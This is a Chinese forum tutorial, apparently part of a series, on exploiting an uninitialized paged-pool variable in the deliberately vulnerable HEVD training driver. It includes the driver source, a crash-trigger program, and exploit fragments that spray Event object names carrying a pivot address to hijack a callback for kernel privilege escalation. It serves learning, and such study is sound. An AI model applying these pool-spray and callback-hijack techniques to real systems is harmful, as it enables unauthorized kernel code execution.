首页
社区
课程
招聘
[原创]HEVD内核漏洞学习(8)-未初始化堆变量
2020-11-12 19:59 5198

[原创]HEVD内核漏洞学习(8)-未初始化堆变量

2020-11-12 19:59
5198

0x00前言

昨晚看师傅们当年的博客 愈发觉得自己菜。。。害 还是开始吧 这应该是最后一部分了 未初始化堆变量

0x01漏洞原理

我们将上一篇的原理复制过来?其实也差不多 动态申请内存后可能不会去初始化 未初始化的指针会有不确定的值 而此时对其引用就会产生无法预期的行为 我们日常使用的malloc()函数就不会初始化 还有就是aligned_alloc() 而alloc()可以进行初始化

函数分析

函数的执行流程是 先去分配池空间 若我们的输入不等于MagicValue 就会对未初始化的池进行调用 然后导致。。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
NTSTATUS
TriggerUninitializedMemoryPagedPool(
    _In_ PVOID UserBuffer
)
{
    ULONG_PTR UserValue = 0;
    ULONG_PTR MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PUNINITIALIZED_MEMORY_POOL UninitializedMemory = NULL;
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_POOL), (ULONG)__alignof(UCHAR));
 
        //
        // Allocate Pool chunk
        //
 
        UninitializedMemory = (PUNINITIALIZED_MEMORY_POOL)ExAllocatePoolWithTag(
            PagedPool,
            sizeof(UNINITIALIZED_MEMORY_POOL),
            (ULONG)POOL_TAG
        );
 
        if (!UninitializedMemory)
        {
            //
            // Unable to allocate Pool chunk
            //
 
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(PagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(UNINITIALIZED_MEMORY_POOL));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedMemory);
        }
 
        //
        // Get the value from user mode
        //
 
        UserValue = *(PULONG_PTR)UserBuffer;
 
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);
 
        //
        // Validate the magic value
        //
 
        if (UserValue == MagicValue) {
            UninitializedMemory->Value = UserValue;
            UninitializedMemory->Callback = &UninitializedMemoryPagedPoolObjectCallback;
 
            //
            // Fill the buffer with ASCII 'A'
            //
 
            RtlFillMemory(
                (PVOID)UninitializedMemory->Buffer,
                sizeof(UninitializedMemory->Buffer),
                0x41
            );
 
            //
            // Null terminate the char buffer
            //
 
            UninitializedMemory->Buffer[(sizeof(UninitializedMemory->Buffer) / sizeof(ULONG_PTR)) - 1] = '\0';
        }
#ifdef SECURE
        else {
            DbgPrint("[+] Freeing UninitializedMemory Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedMemory);
 
            //
            // Free the allocated Pool chunk
            //
 
            ExFreePoolWithTag((PVOID)UninitializedMemory, (ULONG)POOL_TAG);
 
            //
            // Secure Note: This is secure because the developer is setting 'UninitializedMemory'
            // to NULL and checks for NULL pointer before calling the callback
            //
 
            //
            // Set to NULL to avoid dangling pointer
            //
 
            UninitializedMemory = NULL;
        }
#else
        //
        // Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability
        // because the developer is not setting 'Value' & 'Callback' to definite known value
        // before calling the 'Callback'
        //
 
        DbgPrint("[+] Triggering Uninitialized Memory in PagedPool\n");
#endif
 
        //
        // Call the callback function
        //
 
        if (UninitializedMemory)
        {
            DbgPrint("[+] UninitializedMemory->Value: 0x%p\n", UninitializedMemory->Value);
            DbgPrint("[+] UninitializedMemory->Callback: 0x%p\n", UninitializedMemory->Callback);
 
            UninitializedMemory->Callback();                //Here!
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}

0x02漏洞分析

照旧 先下断点

1
bp HEVD!TriggerUninitializedMemoryPagedPool+178

当我使用官方exp的时候 发现无法查看到exp的位置 Callback的位置存储的并不是exp 但确实是可以提权成功的 这一点有点疑惑 难道说官方的exp并没有将exp放在该位置?所以我又去看了下TJ师傅的文章

 

先去crash 代码如下 只换IO控制码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<Windows.h>
 
int main()
{
 
    DWORD bReturn = 0;
    char buf[] = { 0 };
    *(PDWORD32)(buf) = 0xAAAAAAAA;
    HANDLE hDevice = NULL;
         hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);
    DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
 
    return 0;
}

确实是我们输入的值 此时的Callback当然是没有值的 因为我们还没有将shellcode输入其中

 

0x03漏洞分析

我们的思路就是(其实和栈差不多) 先堆喷 控制堆中的数据 然后触发漏洞去执行我们的shellcode

堆喷

我们使用CreateEventA来进行堆喷 我们使用的是分页池 无法申请很多Event对象 但结构中的lpName参数 是分配在分页池中的 并且可以操控

1
2
3
4
5
6
HANDLE CreateEventA(
  LPSECURITY_ATTRIBUTES lpEventAttributes,
  BOOL                  bManualReset,
  BOOL                  bInitialState,
  LPCSTR                lpName                //事件对象的名称
);

Lookaside Lists最多有256个0x20的块 windows在申请内存时会优先使用快表申请内存 不适合时才会使用空表 所以我们将使用快表结构 我们需要将shellcode放在函数的+0x4的位置 然后利用循环设置不同的lPname

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
VOID GenerateObjectNameWithPayloadTrampoline(UCHAR Name[], UINT32 Length, ULONG_PTR Pivot) {
    UINT32 i = 0;
 
    for (i = 0; i < Length; i++) {
        Name[i] = RandomNumber(0x41, 0x5A); // From A-Z
    }
 
    Name[4] = (UINT_PTR)Pivot & 0xFF;
    Name[5] = ((UINT_PTR)Pivot & 0xFF00) >> 8;
    Name[6] = ((UINT_PTR)Pivot & 0xFF0000) >> 16;
    Name[7] = (UINT_PTR)Pivot >> 24;
 
    Name[Length - 1] = '\0';
}
 
 
 for (i = 0; i < MAX_CHUNKS_IN_LAL_BUCKET; i++) {
        GenerateObjectNameWithPayloadTrampoline(EventName,
                                                sizeof(EventName) - UNICODE_TERMINATOR_LENGTH,
                                                Pivot);
 
        EventObjects[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)EventName);
 
        if (!EventObjects[i]) {
            DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }

利用成功~

0x04补丁分析

在安全版本中 将UninitializedMemory置为NULL 然后安全的调用了回调函数

 

0x05经验总结

最后了 其实最后两个思路有点相似 未初始化算是一类的吧 在池溢出的时候就了解到一些池的知识了 算是皮毛吧 需要看的还是很多的 这里 就算是结束了 我自己写的并不好 因为自己没有涉及很多知识 只是入了门 可能连入门都算不上 冰山都尚未见一角 分享了自己的这个过程而已 文章写的好的师傅很多 可以去seebug找到wjllz师傅kernel的全系列 也可在看雪及其他的地方找到他的踪迹 他的文章中总是能收获到很多东西的 亦有着0x2l学长的博客亦或者说TJ师傅的博客 我的链接挂了 不过师傅也在csdn上有文章更新 也有着小刀师傅的博文 还有着r00tk1t的博客 还有很多厉害的师傅 都可以学到东西 长路漫漫 需要学习的东西还有很多 慢慢来吧 另外 希望找到志同道合的师傅 end~


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-11-12 20:04 被Ring3编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 7
活跃值: (4331)
能力值: (RANK:270 )
在线值:
发帖
回帖
粉丝
0x2l 3 2020-11-12 20:57
2
0
6
游客
登录 | 注册 方可回帖
返回